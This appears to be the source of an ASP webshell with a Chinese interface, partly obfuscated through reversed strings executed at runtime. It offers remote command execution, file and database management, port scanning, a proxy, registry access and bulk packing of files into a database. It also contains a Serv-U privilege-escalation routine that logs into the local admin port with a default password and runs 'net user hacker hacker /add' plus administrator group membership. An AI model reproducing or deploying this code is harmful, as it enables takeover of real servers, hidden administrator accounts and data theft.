¨~ralugeR=epyTdrowssaP-¨~ & flrcbv & ¨~metsyS=ecnanetniaM-¨~~_ & flrcbv & ¨~0=mumixaMatouQ-¨~ & flrcbv & ¨~0=tnerruCatouQ-¨~ & flrcbv & ¨~0=tiderCsoitaR-¨~ & flrcbv & ¨~1=nwoDoitaR-¨~~_ & flrcbv & ¨~1=pUoitaR-¨~ & flrcbv & ¨~0=eripxE-¨~ & flrcbv & ¨~1-=tuOemiTnoisseS-¨~ & flrcbv & ¨~006=tuOemiTeldI-¨~ & flrcbv & ¨~1-=sresUrNxaM-¨~~_ & flrcbv & ¨~0=nwoDtimiLdeepS-¨~ & flrcbv & ¨~0=pUtimiLdeepS-¨~ & flrcbv & ¨~1-=PIrePnigoLsresUxaM-¨~ & flrcbv & ¨~0=elbanEatouQ-¨~~_ & flrcbv & ¨~0=drowssaPegnahC-¨~ & flrcbv & ¨~0=nigoLwollAsyawlA-¨~ & flrcbv & ¨~0=neddiHediH-¨~ & flrcbv & ¨~0=eruceSdeeN-¨~~_ & flrcbv & ¨~1=shtaPleR-¨~ & flrcbv & ¨~0=elbasiD-¨~ & flrcbv & ¨~=eliFseMnigoL-¨~ & flrcbv & ¨~\¨~ & htapt & ¨~=riDemoH-¨~~_ & flrcbv & ssapt & ¨~=drowssaP-¨~ & flrcbv & resut & ¨~=resU-¨~ & flrcbv & tropt & ¨~=oNtroP-¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~PUTESRESUTES-¨~ & sevael = sevael~flrcbv & ¨~=yeKOZT ¨~ & flrcbv & ¨~0=elbanEOZT-¨~ & flrcbv & ¨~0|1|1-|¨~ & tropt & ¨~|¨~&pirevres&¨~|79944QQ=niamoD-¨~ & flrcbv & ¨~NIAMODTES-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ = tm~flrcbv & tropt & ¨~=oNtroP ¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~NIAMODeteleD-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ & sevael = sevael~flrcbv & dwp & ¨~ ssaP¨~ & sevael = sevael~flrcbv & rsu & ¨~ resU¨~ = sevael~neht ¨~dda¨~ = )¨~nottuboidar¨~(mrof.tseuqer fi~006=tuoemit~)¨~ptsoh¨~(mrof.tseuqer = pitsoh~)¨~tropt¨~(mrof.tseuqer = tropt~)¨~htapt¨~(mrof.tseuqer = htapt~)¨~ssapt¨~(mrof.tseuqer = ssapt~)¨~resut¨~(mrof.tseuqer = resut~)¨~tropd¨~(mrof.tseuqer = trop~)¨~dwpd¨~(mrof.tseuqer = dwp~)¨~resud¨~(mrof.tseuqer = rsu~)¨~pires¨~(mrof.tseuqer = pirevres~¨~>mrof/<>elbat/<>rt/<>dt/<>'½»Ìá'=eulav 'mottub'=ssalc 'timbus'=epyt 'timbuS'=eman tupni<>DTBT=ssalc dt<¨~srr~¨~>dt/<³ýɾ¶¨È·>'xoBtxeT'=ssalc 'led'=eulav 'nottuboidar'=eman 'oidar'=epyt tupni<¨~srr~¨~¼ÓÌí¶¨È·>'xoBtxeT'=ssalc dekcehc 'dda'=eulav 'oidar'=epyt 'nottuboidar'=eman tupni<>DTBT=ssalc dt<>rt<¨~srr~¨~>rb<>'12'=eulav 'tropt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropt'=eman tupni<>DTBT=ssalc dt<>dt/<:¿Ú¶ËÎñ·þ>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'\:C'=eulav 'htapt'=di 'xoBtxeT'=ssalc 'txet'=epyt 'htapt'=eman tupni<>DTBT=ssalc dt<>dt/<:¾¶Â·µÄ¶ÔËùµÄºÅÕÊ>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rekcah'=eulav 'ssap'=di 'xoBtxeT'=ssalc 'txet'=epyt 'ssapt'=eman tupni<>DTBT=ssalc dt<>dt/<:ÂëÃÜ»§ÓõļÓÌí>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rekcah'=eulav 'resut'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resut'=eman tupni<>DTBT=ssalc dt<>dt/<:Ãû»§ÓõļÓÌí>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'85934'=eulav 'tropd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'tropd'=eman tupni<>DTBT=ssalc dt<>dt/<:¿Ú¶ËU-VRES>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'P@0;kl.#ka$@l#'=eulav 'dwpd'=di 'xoBtxeT'=ssalc 'txet'=epyt 'dwpd'=eman tupni<>DTBT=ssalc dt<>dt/<: ÂëÃÜÔ±Àí¹Ü>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'rotartsinimdAlacoL'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'resud'=eman tupni<>DTBT=ssalc dt<>dt/<:Ô±Àí¹Ü>DTBT=ssalc dt<>rt<¨~srr~¨~>rt/<>dt/<>'0.0.0.0'=eulav 'resud'=di 'xoBtxeT'=ssalc 'txet'=epyt 'pires'=eman tupni<>DTBT=ssalc dt<>dt/<:PIÆ÷Îñ·þ>DTBT=ssalc dt<>rt<¨~srr~¨~>RT/<>DT/<>tnof/<¸Ä±»ÂëÃÜu-vreS±í´ú¾Í¹¦³É²»ÔÙ¹ûÈç>rb<¨~&)¨~RDDA_LACOL¨~(selbairaVrevreS.tseuqeR&¨~:PI´Ë³É¸ÄÐ޾͹¦³É²»0.0.0.0¹ûÈç>rb<½ÓÁ¬ÒԿɶ¼PIºÎÈαí´ú0.0.0.0:PIÆ÷Îñ·þ>rb<:Ã÷˵½ÓÁ¬PI>rb<>rb<°æɱͨÐò³ÌȨT U-vreS>'ffffff'=roloc tnof<>daeHBT=ssalc 2=napsloc DT<>RT<>ffffff#=roloCgb 0=redrob 084=htdiw 3=gniddapllec 1=gnicapsllec retnec=ngila ELBAT<>''=noitca 'tsop'=dohtem '1mrof'=eman mrof<¨~srr~)(ptfus noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fI dnE ~gnihtoN=nnoC teS ~esolC.nnoC ~~fI dnE~¨~¨~=WR:WR etirW.esnopseR ~~fI dnE ~rtSlqS&¨~£º¾äÓïLQS¨~ & WR=WR ~)rtSlqS(etucexE.nnoC ~ eslE ~¨~¨~=WR:WR etirW.esnopseR ~ ~gnihtoN=sR teS:esolC.sR ~¨~>elbat/<>rt/<>dt/<>'FEFEFE#'=roloc rh<¨~ & WR=WR ~fI dnE ~¨~>a/<ҳβ>')¨~&NP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&>a/<Ò³Ò»ÏÂ>')¨~&1+egaP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~txeN ~fI dnE ~¨~;psbn&>a/<¨~&i&¨~>')¨~&i&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~eslE ~¨~;psbn&¨~&i & WR=WR ~nehT egaP=i fI ~roF tixE nehT NP>i fI ~8+pS oT pS=i roF ~fi dnE:1=pS:eslE:8-egaP=pS:nehT 8>egaP fI ~¨~;psbn&>a/<Ò³Ò»ÉÏ>')¨~&1-egaP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&>a/<Ò³Ê×>')1,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&;psbn&¨~ & WR=WR ~nehT 1>NP fI ~NP&¨~/¨~&egaP&¨~£ºÂëÒ³;psbn&¨~&CR&¨~£ºÊý¼¼Ç>retnec=ngila ¨~&1+NF&¨~=napsloc dt<>rt<¨~ & WR=WR ~~)rtSlqS(edoCnElmtH=rtSlqS ~ ~¨~¨~=WR:WR etirW.esnopseR ~ ~pooL ~txeNevoM.sR ~¨~>rt/<¨~ & WR=WR ~txeN ~¨~>dt/<¨~&ofnIloC&¨~>¨~&rolocgB&¨~=rolocgb dt<¨~ & WR=WR ~fI dnE ~))05,)i(sR(tfeL(edocnELMTH=ofnIloC ~eslE ~))i(sR(edocnELMTH=ofnIloC ~nehT 1=CR fI ~fi dnE:¨~FEFEFE#¨~=rolocgB:eslE:¨~5F5F5F#¨~=rolocgB:nehT ¨~FEFEFE#¨~=rolocgB fI ~1-NF oT 0=i roF ~ ¨~>dt/<>tnof/'sgnidgniw'=ecaf tnof<>cccccc#=rolocgb dt<>rt<¨~ & WR=WR ~¨~FEFEFE#¨~=rolocgB ~1-tnuoC=tnuoC ~0>tnuoC dnA )foB.sR ro foE.sR(toN elihW oD ~~¨~>rt/<¨~ & WR=WR ~txeN ~gnihton=dlF teS ~¨~>dt/<¨~&emaN.dlF&¨~>'retnec'=ngila dt<¨~ & WR=WR ~)n(metI.sdleiF.sR=dlF teS ~1-NF ot 0=n roF ~ ¨~>dt/<>dt<>cccccc#=rolocgb 52=thgieh rt<>retnec=ngila elbat<¨~ & WR=WR ~egaP=egapetulosba.sR nehT 1>egaP fI ~NP=egaP nehT NP>egaP fI ~1=egaP nehT 0=egaP rO ¨~¨~=egaP fI ~)egaP(gnlC=egaP nehT ¨~¨~>vid/<¨~&rtSlqS&¨~£º¾äÓïÐÐÖ´>'retnec'=ngila vid<¨~ & WR=WR ~neht ¨~tceles¨~=))6,rtSlqS(tfeL(esaCL fI ~~nehT 01>)rtSlqS(neL fI~ ~¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>rt/<¨~ & WR=WR ~gnihtoN=sR teS ~ pooL ~ txeNevoM.sR ~ fI dnE ~¨~>dt/<>a/<¨~&emaNT&¨~>')1,¨~¨~]¨~&emaNT&¨~[ MORF * TCELES¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~>rb<>a/<] led [>')1,¨~¨~]¨~&emaNT&¨~[ ELBAT PORD¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<>retnec=ngila dt<¨~ & WR=WR ~)¨~EMAN_ELBAT¨~(sR=emaNT ~neht ¨~ELBAT¨~=)¨~EPYT_ELBAT¨~(sR fI ~foE.sR toN elihW oD ~ tsriFevoM.sR ~¨~>dt/<Ãû>rb<±í>dt<>'CCCCCC#'=rolocgB '52'=thgieh rt<>'retnec'=ngila elbat<¨~ & WR=WR ~ )02(amehcSnepO.nnoC=sR teS ~rtSbD nepO.nnoC ~))0,5(TbO(tcejbOetaerC=nnoC teS ~ ~nehT 04>)rtSbD(neL fI ~~¨~¨~=WR:WR etirW.esnopseR ~¨~>naps/<>'OSFS'=di naps<>elbat/<>mrof/<>rt/<¨~ & WR=WR ~¨~>dt/<>'timbus'=ssalc ')(kcehCbD nruter'=kcilcno 'ÐÐÖ´'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>'FFFFFF#'=rolocgb 'retnec'=ngila dt<¨~ & WR=WR ~¨~>dt/<>'¨~&rtSlqS&¨~'=eulav '514:htdiw'=elyts 'rtSlqS'=eman tupni<>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~¨~>dt/<:ÁîÃü×÷²ÙLQS;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>'1'=eulav 'neddih'=epyt 'egaP'=eman tupni<>'reganaMbD'=eulav 'neddih'=epyt 'noitcA'=eman tupni<¨~ & WR=WR ~¨~>rt/<>dt/<>tceles/<>noitpo/<ʾÏÔÈ«Íê>21=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<¶Î×Ö³ýɾ>11=eulav noitpo<>noitpo/<¶Î×Ö¼ÓÌí>01=eulav noitpo<>noitpo/<±í¾ÝÊýɾ>9=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<±í¾ÝÊý½¨>8=eulav noitpo<>noitpo/<¾ÝÊý¸ÄÐÞ>7=eulav noitpo<>noitpo/<¾ÝÊý³ýɾ>6=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<¾ÝÊý¼ÓÌí>5=eulav noitpo<>noitpo/<¾ÝÊýʾÏÔ>4=eulav noitpo<>noitpo/<--·¨ÓïLQS-->1-=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<½ÓÁ¬NSD>3=eulav noitpo<>noitpo/<½ÓÁ¬lqSyM>2=eulav noitpo<>noitpo/<½ÓÁ¬lqSsM>1=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<½ÓÁ¬sseccA>0=eulav noitpo<>noitpo/<Àýʾ´®½ÓÁ¬>1-=eulav noitpo<>')eulav.]xednIdetceles[snoitpo(rtSbDlluF nruter'=egnahcno 'ntBrtS'=eman tceles<>'FFFFFF#'=rolocgb 'retnec'=ngila '29'=htdiw dt<¨~ & WR=WR ~¨~>dt/<>'¨~&rtSbD&¨~'=eulav '514:htdiw'=elyts 'rtSbD'=eman tupni<>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~¨~>dt/<:´®½ÓÁ¬¿â¾ÝÊý;psbn& >'FFFFFF#'=rolocgb '09'=htdiw dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<×÷²Ù¿â¾ÝÊý>'unem'=rolocgb 'retnec'=ngila '3'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>''=noitca 'tsop'=dohtem 'mroFbD'=eman mrof<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)¨~rtSbD¨~(mroF.tseuqeR=rtSbD ~))¨~rtSlqS¨~(mroF.tseuqeR(mirT=rtSlqS ~)(reganaMbD noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fi dne ~gnihtoN=osf teS ~gnihtoN=sr teS ~gnihtoN=nnoc teS ~gnihtoN=sda teS ~esolc.nnoc ~esolc.sr ~1+)¨~eman¨~(noisses=)¨~eman¨~(noisses ~)¨~>tpircs/<;)'¨~&)))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(htaPeR&¨~ÊÇÖ·µØn\!·ÅÊÍ¿â¾ÝÊý¨~&))¨~seliF¨~(mrof.tseuqer(htaPeR&¨~½«¹¦³É¾­ÒÑn\:ϲ¹§'(trela>tpircs<¨~(etirW.esnopseR ~¨~>rh<¨~ etirW.esnopseR ~pool ~txenevom.sr ~hsulF.esnopseR ~¨~>rb<¨~ & elif & ¨~ > ¿â³ö;psbn&>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR ~fi dne ~esolc.sda ~2,elif eliFoTevaS.sda ~)¨~ydob¨~(sr etirw.sda ~1=epyT.sda ~nepO.sda ~neht )¨~¨~><)¨~elif¨~(sr( dna ))elif(stsixEeliF.osf ton( fi ~)redlof(redloFetaerC.osf neht )redlof(stsixEredloF.osf ton fi ~redlof=htap ~)¨~elif¨~(sr & ¨~\¨~ & redlof=elif ~)¨~redlof¨~(sr & ))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM=redlof ~)fob.sr ro foe.sr(ton elihw od ~))0,0(TbO(tcejbOetaerC.revreS=osf teS ~))0,6(TbO(tcejbOetaerC.revreS=sda teS ~3,3,nnoc,¨~zw morf * tceles¨~ nepO.sr ~)¨~seliF¨~(mrof.tseuqer&¨~=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP¨~ nepo.nnoc ~)¨~teSdroceR.BDODA¨~(tcejbOetaerC.revreS=sr teS ~))0,5(TbO(tcejbOetaerC.revreS=nnoc teS ~¨~>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR ~neht ¨~2V¨~=)¨~1R¨~(mrof.tseuqer dna ¨~¨~><)¨~seliF¨~(mrof.tseuqer fi ~ ~fi dne ~)¨~>tpircs/<;)'¨~&)))1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM(htappam.revres(htaPeR & ¨~ÊÇÖ·µØn\!¿âÈë¨~ & )))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(htaPeR & ¨~½«¹¦³É¾­ÒÑ<:ϲ¹§'(trela>tpircs<¨~(etirW.esnopseR ~¨~>rh<¨~ etirW.esnopseR ~gnihtoN=osf teS ~gnihtoN=sda teS ~gnihtoN=dlof teS ~gnihtoN=sr teS ~gnihtoN=nnoc teS ~esolc.nnoc ~esolc.sr ~)1+)¨~\¨~,)1-)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(veRrtsnI,)1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM,)1-)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(FS llaC ~3,3,nnoc,¨~zw morf * tceles¨~ nepO.sr ~)¨~teSdroceR.BDODA¨~(tcejbOetaerC.revreS=sr teS ~gnihtoN=aC teS ~¨~)egami ydob,RAHCRAV elif,RAHCRAV redlof,DERETSULC YEK YRAMIRP )1,1(YTITNEDI tni di(zw ELBAT ETAERC¨~etucexE.nnoc ~bd nepo.nnoc ~bd etaerC.aC ~))0,2(TbO(tcejbOetaerC.revreS=aC teS ~ ))0,5(TbO(tcejbOetaerC.revreS=nnoc teS ~))1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM(htappam.revres&¨~=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP¨~=bd ~¨~>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirw.esnopser ~))0,6(TbO(tcejbOetaerC.revreS=sda tes ~ ))0,0(TbO(tcejbOetaerC=osf tes ~neht ¨~1V¨~=)¨~1R¨~(mrof.tseuqer dna ¨~¨~><)¨~seliF¨~(mrof.tseuqer fi ~ ~¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<>'timbus'=ssalc 'ÈÏÈ·'=eulav 'timbus'=epyt tupni<;psbn&>'bdt.bdMoT\¨~&)tooRWWW(htaPeRR&¨~'=eulav '514:htdiw'=elyts 'seliF'=eman 'txet'=epyt tupni<:¾¶Â·;psbn&>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~ ¨~>dt/<¿â³ö>'2V'=eulav '1R'=eman 'oidar'=epyt tupni< ¿âÈë>'1R'=eman dekcehc '1V'=eulav 'oidar'=epyt tupni<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>''=noitca 'TSOP'=dohtem mrof<>dt/<>rt/<¿â³ö/¿âÈë°ü´ò>'unem'=rolocgb 'retnec'=ngila '2'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~0=seripxE.esnopseR ~)(bdMoT noitcnuF" ExeCuTe(UZSS(Hacker)) Function SF(Path,name,sz) dim a,pf,pi set fold=Fso.GetFolder(Path) For Each i in Fold.files a=1 pf=Mid(Path,sz) pi=RRePath(Path&"\"&i.Name) Call Mdb(pi,name,pf) Next if a="" then Call Mdb(Path,name,Mid(Path,sz)) a="" For Each F in FOLD.subfolders Call SF(RRePath(Path & "\" & F.Name),name,sz) Next End Function Function Mdb(pi,name,pf) dim body,file on error resume next if Mid(pi,InstrRev(pi,"\")+1)<>name then if Mid(pi,InstrRev(pi,"\")+1)<>"" then ads.Open ads.Type=1 ads.LoadFromFile pi file=Mid(pi,InstrRev(pi,"\")+1) if Err then Err.clear file="" body="" else body=ads.read Response.Write " Èë¿â > "&pi&"
" Response.Flush end if ads.Close end if rs.addnew rs("folder")=pf rs("file")=file rs("body")=body rs.update end if End Function Select Case Action Case "ShowFile":Set SFSO=New LBF:SFSO.ShowFile(Session("FolderPath")):Set SFSO=Nothing Case "DownFile":DownFile FName Case "EditFile":Set SFSO=New LBF:SFSO.EditFile(FName):Set SFSO=Nothing Case "DelFile":Set SFSO=New LBF:SFSO.DelFile(FName):Set SFSO=Nothing Case "CopyFile":Set SFSO=New LBF:SFSO.CopyFile(FName):Set SFSO=Nothing Case "MoveFile":Set SFSO=New LBF:SFSO.MoveFile(FName):Set SFSO=Nothing Case "DelFolder":Set SFSO=New LBF:SFSO.DelFolder(FName):Set SFSO=Nothing Case "CopyFolder":Set SFSO=New LBF:SFSO.CopyFolder(FName):Set SFSO=Nothing Case "MoveFolder":Set SFSO=New LBF:SFSO.MoveFolder(FName):Set SFSO=Nothing Case "NewFolder":Set SFSO=New LBF:SFSO.NewFolder(FName):Set SFSO=Nothing Case "UpFile":UpFile() Case "suftp":suftp() Case "CmdShell":CmdShell() Case "TSearch":TSearch() Case "Course":Course() Case "TRegedit":TRegedit() Case "php":php() Case "MMD":MMD() Case "getTerminalInfo":getTerminalInfo() Case "adminab":adminab() Case "proxy":proxy() Case "goback":goback() Case "showE":showE() Case "lpdel":lpdel() Case "ServerInfo":ServerInfo() Case "DbManager":DbManager() Case "ToMdb":ToMdb() Case "sql":sql() Case "PageAddToMdb":PageAddToMdb() Case "asplist"asplist() Case "ScanDriveForm":ScanDriveForm() Case "ScanDrive": ScanDrive Request("Drive")() Case "ScFolder": ScFolder Request("Folder")() Case "ScanPort":ScanPort() Case "downloads":downloads() Case "Servu" Hacker="fi dne ~¨~>retnec/<>mrof/<>elbat/<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'1'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>'ÖÃÖØ'=eulav '2timbuS'=eman 'teser'=epyt tupni<¨~ SRR ~¨~>'½»Ìá'=eulav 'timbuS'=eman 'timbus'=epyt tupni<¨~ SRR ~¨~>'2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'07'=ezis 'dda/ rekcah srotartsinimda puorglacol ten & dda/ rekcah rekcah resu ten c/ dmc'=eulav 'c'=di 'xet'=epyt 'c'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£ºÁîÃüÐÐÖ´;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis '¨~&f&¨~'=eulav 'f'=di 'txet'=epyt 'f'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º¾¶Â·Í³Ïµ;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis '85934'=eulav 'trop'=di 'txet'=epyt 'trop'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º¿Ú¶ËÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis 'P@0;kl.#ka$@l#'=eulav 'p'=di 'txet'=epyt 'p'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£ºÁî¿ÚÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis 'rotartsinimdAlacoL'=eulav 'u'=di 'txet'=epyt 'u'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º»§ÓÃÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<>dt/<¼þÎÄMOCÓëSBVÕß»ò exe.ÂíľµÄ´«ÉÏÄã\:d c/ dmc:ÈçÀý,¸ÄÐÞÒâÈÎÒÔ¿ÉÁîÃü>rb<´Î¼¸½»Ìá¶à¾Í¹¦³É²»È¨Ìá¹ûÈç:ʾÌá¨~ SRR ~¨~>rb<>'2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>rt/<¨~ SRR ~¨~>dt/<ÏÞȨÉýÌá uvreS>'2'=napsloc dt<¨~ SRR ~¨~>rB<>'elddim'=ngilav 'retnec'=ngila rt<¨~ SRR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ SRR ~¨~>'uvreS=noitcA?'=noitca 'nusdlog'=eman 'tsop'=dohtem mrof<>retnec<¨~ SRR ~gnihtoN = c teS ~troba.c ~gnihtoN = b teS ~troba.b ~gnihtoN = a teS ~troba.a ~)¨~c¨~(noisses=c tes ~)¨~b¨~(noisses=b tes ~)¨~a¨~(noisses=a tes ~txen emuser rorre no ~esle ~¨~>retnec/<¨~ SRR ~¨~>'uvreS=noitcA?'=ferh.noitacol=kcilCno ' Ðø¼Ì»Ø·µ '=eulav 'nottub'=epyt tupni<¨~ SRR ~¨~>rb<>rb<>tnof/<¨~&dmc&¨~>der=roloc tnof<>rb<£ºÁîÃüÁËÐÐÖ´ÒÑ,±ÏÍêȨÌá>retnec<>rb<¨~ SRR ~c=)¨~c¨~(noisses tes ~tiuq & niamodled & tm & ssapnigol & resunigol dnes.c ~¨~¨~ ,¨~¨~ ,eurT ,¨~3s/nimdapu/4112903/¨~ & trop & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.c ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=c tes ~neht 3 = 1noitca fiesle ~¨~>tpircs/<¨~ SRR ~¨~;)0004,';)(timbus.nusdlog.lla.tnemucod'(tuoemiTtes¨~ SRR ~¨~;)'>retnec<...´ýµÈÇë,ÏÞȨÉýÌáÔÚÕý>retnec<>rb<'(etirw.tnemucod¨~ SRR ~¨~>'tpircsavaj'=egaugnal tpircs<¨~ SRR ~¨~>mrof/<>'3'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>'05'=ezis '¨~&f&¨~'=eulav 'f'=di 'neddih'=epyt 'f'=eman tupni<¨~ SRR ~¨~>'05'=ezis '¨~&dmc&¨~'=eulav 'c'=di 'neddih'=epyt 'c'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&trop&¨~'=eulav 'trop'=di 'neddih'=epyt 'trop'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&ssap&¨~'=eulav 'p'=di 'neddih'=epyt 'p'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&resu&¨~'=eulav 'u'=di 'neddih'=epyt 'u'=eman tupni<¨~ SRR ~¨~>'nusdlog'=eman 'tsop'=dohtem mrof<¨~ SRR ~b=)¨~b¨~(noisses tes ~tiuq & fLrCbv & dmc & ¨~ cexe etis¨~ & fLrCbv & ¨~do ssap¨~ & fLrCbv & ¨~og resU¨~ dnes.b ~¨~¨~ ,¨~¨~ ,eurT ,¨~2s/nimdapu/4112903/¨~ & tropptf & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.b ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=b tes ~neht 2 = 1noitca fiesle ~¨~>tpircs/<¨~ SRR ~¨~;)0004,¨~¨~;)(timbus.nusdlog.lla.tnemucod¨~¨~(tuoemiTtes¨~ SRR ~¨~;)¨~¨~>retnec<...¨~&ssap&¨~£ºÁî¿Ú,¨~&resu&¨~ :Ãû»§ÓÃÓÃʹ,¨~&trop&¨~:1.0.0.721 ½ÓÁ¬ÔÚÕý>retnec<>rb<¨~¨~(etirw.tnemucod¨~ SRR ~¨~>'tpircsavaj'=egaugnal tpircs<¨~ SRR ~¨~>mrof/<>'2'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>¨~¨~05¨~¨~=ezis '¨~&f&¨~'=eulav 'f'=di 'neddih'=epyt 'f'=eman tupni<¨~ SRR ~¨~>¨~¨~05¨~¨~=ezis '¨~&dmc&¨~'=eulav 'c'=di 'neddih'=epyt 'c'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&trop&¨~'=eulav 'trop'=di 'neddih'=epyt 'trop'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&ssap&¨~'=eulav 'p'=di 'neddih'=epyt 'p'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&resu&¨~'=eulav 'u'=di 'neddih'=epyt 'u'=eman tupni<¨~ SRR ~¨~>'nusdlog'=eman 'tsop'=dohtem mrof<¨~ SRR ~a=)¨~a¨~(noisses tes ~tiuq & resuwen & niamodwen & niamodled & tm & ssapnigol & resunigol dnes.a ~¨~¨~ ,¨~¨~ ,eurT,¨~1s/nimdapu/4112903/¨~ & trop & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.a ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=a tes ~neht 1 = 1noitca fi ~)f,¨~:c¨~,resuwen(ecalper=resuwen ~fLrCbv & ¨~TIUQ¨~ = tiuq ~fLrCbv & ¨~PDCLEMAWR|\\:c=sseccA 